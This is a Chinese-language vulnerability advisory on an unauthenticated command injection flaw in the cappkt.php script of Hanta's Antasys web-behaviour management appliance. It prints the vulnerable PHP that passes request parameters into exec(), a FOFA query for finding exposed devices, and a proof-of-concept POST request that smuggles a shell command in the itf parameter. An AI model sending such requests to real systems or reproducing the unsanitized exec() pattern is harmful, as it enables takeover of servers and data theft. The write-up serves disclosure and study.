漏洞简介
汉塔科技 - 上网行为管理系统是上海汉塔网络科技有限公司开发的一款上网行为流量管理系统。其系统 cappkt.php 存在命令注入漏洞,未授权攻击者可利用此漏洞在服务器上执行任意系统命令,造成系统失陷、敏感数据泄露等高危风险。
影响版本
fofa语法
body="Antasys"
漏洞分析
系统比较古老,使用的是威盾PHP混淆加密,可以参考这篇文章附录部分代码进行批量解密或者使用参考链接部分进行在线单个文件解密。
直接看 dgn/dgn_tools/cappkt.php 的业务逻辑实现关键部分
<?php
$itf = $_REQUEST['itf'];
$pktcnt = $_REQUEST['pktcnt'];
$txtip = $_REQUEST['txtip'];
$output = "";
$host = ($txtip ? "host $txtip" : "");
flush();
exec("kill -9 `ps -ef|grep tcpdump|grep -v grep|awk '{print $1}'`");
exec("tcpdump -i eth$itf $host -s 0 -c $pktcnt -w /www/doc/dd.pcap");
$output .= "ok";
flush();
sleep(1);
echo $output;;
echo '
'; ?>
通过 $_REQUEST 超全局变量获取 itf 、pktcnt 和 txtip 参数值后,就直接拼接进 exec函数进行命令执行,无任何过滤,造成命令注入漏洞。
漏洞复现
POST /dgn/dgn_tools/cappkt.php HTTP/1.1
Host: antasys.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
itf=127.1;touch /tmp/xxx;%20%23%20&pktcnt=1&txtip=10
三个个参数均存在命令注入
itf

pktcnt 和 txtip 也是存在同样的命令注入漏洞。

